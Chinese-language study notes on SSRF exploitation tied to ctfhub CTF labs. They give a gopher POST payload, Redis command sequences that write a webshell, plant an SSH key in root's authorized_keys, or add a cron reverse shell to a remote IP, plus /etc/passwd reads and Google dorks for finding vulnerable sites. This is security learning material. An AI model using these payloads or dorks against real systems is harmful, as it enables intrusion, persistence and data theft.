写的不全啊,但是尽量写了,写上的都是实验过的。
一些脚本等资源放在了github
进入主题
ssrf的利用往往是http://xxx.com/?url=xxxxx
的形式
这个?后面的url参数就是服务器去请求的资源。存在使用curl命令去执行url提交的可能。 (当然不使用curl,然后放在表单做src也是非常有可能的,并且也是会提交请求) 然后返回的内容再进行处理,比如http://xxx.com/?url=http://bb.com
。url参数处除了http/https协议当然可以使用其他协议,要根据不同的请求来定义,比如命令行输入curl --version可以查看到curl可以使用dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
等
curl请求的过程:
<?php
// create curl resource
$ch = curl_init();
// set url
curl_setopt($ch, CURLOPT_URL, /*url参数处的内容*/);
//return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string
$output = curl_exec($ch);
// close curl resource to free up system resources
curl_close($ch);
echo $output;
?>
除了curl还有这几个引发ssrf的函数:
fsocksopen()
file_get_contents()
fopen()
详细参考文章>https://xz.aliyun.com/t/7405
注意:
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
--------------------------------------------------------------
先探究一下curl等函数可以使用的协议:
协议
1.file://
主要用于访问本地计算机中的文件如file:///etc/passwd
敏感文件路径汇总
2.gopher://
ssrf中的gopher是写在url参数处,由服务器提交的请求!!!
http之前的协议。可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。理论上来讲,只要内部能访问到的服务,通过ssrf都可以访问。
使用方式gopher://IP:port/_{TCP/IP数据流}
post数据的时候必须有的内容(前4项):
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=8a6d748f4f820709cd9e444991d49dd0
内容的urlencode要根据请求的次数来定
urlencode后换行要变成%0D%0A
ctfhub举例:进行两次urlencode
http://challenge-fe13b763edf190bd.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D863dd6bf436fe83c6d37da5485d4a4e9%2520HTTP%252F1.1
gopher的应用:
1.gopher可以提交请求(见上一个例子)
2.上传文件(ctfhub-ssrf文件上传)
截获一个post上传文件的请求,url编码相应次数后放在gopher协议的后面,用来伪造服务器向相应页面上传文件。
3.fpm利用
利用需要fpm监听端口9000暴露在公网,且存在ssrf漏洞等条件,比较苛刻。
本利用可造成任意代码远程执行,攻击脚本在GitHub上
原理-----实验
用ctfhub靶场自己做实验
4.redis利用
redis默认端口6379
Redis在SSRF中的应用—漏洞原理
笔记>
- 写webshell
下面代码输入到redis中产生的流量包获取,或者使用脚本转换得到的数据构造报文,放到gopher发送的数据中。
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save
- 写ssh公钥
ssh-keygen -t rsa
生成公钥,写到远程主机的/.ssh/authorized_keys中。然后可通过本地私钥登录远程ssh
flushall
set 1 'your keygen'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
- 反弹shell(ubuntu不行,centos行)
通过写计划任务反弹到远程主机shell
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
- 主从复制rce
用ctfhub靶场自己做实验
3.dict://
探测开放端口,获取文件内容
如:dict://192.168.1.2:6379/flushall
dict://192.168.1.1:80
4.剩下的很少使用
sftp://
tftp://
ldap://
google搜寻ssrf网站
inurl:".php?url=http://"
inurl:".php?image=http://"
无回显ssrf
- 如何确认ssrf漏洞(无回显)
可以尝试发送不同的请求。比如
http://127.0.0.1:80
http://127.0.0.1:80/404404404not_found
http://127.0.0.1:12345
http://127.1:80
等等和127.0.0.1有关的请求
通过response,判断没有过滤127.0.0.1,如果没有过滤则可能存在ssrf
- SSRF无回显如何利用
如果已经确定是ssrf无回显的情况,可以尝试上面的几种,不需要回显
ssrf和url重定向漏洞的区别:
https://www.jianshu.com/p/6ecff0722c56
文章中的一句话除了模样长得一样其他什么都不一样
我自己的理解:
ssrf是攻击者控制服务器访问内网资源
url跳转漏洞是攻击者控制页面跳转到自己的页面
二者虽然形式一样,但是功能完全不同